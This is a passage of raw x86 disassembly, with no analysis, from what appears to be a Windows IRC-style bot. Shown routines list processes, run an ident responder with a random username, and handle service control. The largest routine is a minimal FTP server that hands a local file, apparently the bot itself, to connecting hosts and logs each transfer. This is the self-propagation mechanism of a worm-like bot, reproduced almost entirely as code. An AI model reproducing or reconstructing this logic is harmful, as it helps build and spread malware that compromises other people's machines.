[edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E7E2 mov ebp, dword_5118D8 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_444FFC lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_5118D8 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_444FF0 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FE8 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_444FDC lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset aD+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449277 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8E9B push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:00442504o mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44964F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8E9B push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax call near ptr 71AB3E00h nop test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx call near ptr 71AB9639h nop lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8E9B push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E8E44 test al, al jz loc_41F650 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_449DB8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44964F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call near ptr byte_5F285B mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax nop call near ptr 77C411FBh mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DB8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax call near ptr 77C40AB1h nop mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 2830386h loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E8E44 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E8E99, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_44927B xor ebx, ebx cmp cl, bl mov byte_4E8E99, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi cdq mov ecx, 3 push offset byte_448F30 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call near ptr byte_5F285B add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_511C9C push ebp call esi lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi mov byte_4E8E99, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 2830386h jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50DB28 mov dword_50DB0C, 4 call sub_401DE3 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50DB28 mov dword_50DB0C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50DB28 xor eax, eax mov dword_50DB14, eax mov dword_50DB0C, 1 mov dword_50DB1C, eax mov dword_50DB20, eax call sub_40174E loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50DB2C push offset dword_50DB08 push eax mov dword_50DB0C, 4 nop call near ptr 290083Fh retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44990F mov dword_50DB08, 20h mov dword_50DB0C, 2 mov dword_50DB10, 3 mov dword_50DB14, esi mov dword_50DB18, esi mov dword_50DB1C, esi mov dword_50DB20, esi call sub_4017EE push eax nop call near ptr 2900373h cmp eax, esi mov dword_50DB2C, eax jz short loc_41FBAA push offset dword_50DB08 push eax mov dword_50DB0C, 4 mov dword_50DB1C, esi mov dword_50DB20, esi nop call near ptr 290083Fh loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB28, ecx push 100h mov ecx, offset byte_44990F call sub_4017EE push eax lea eax, 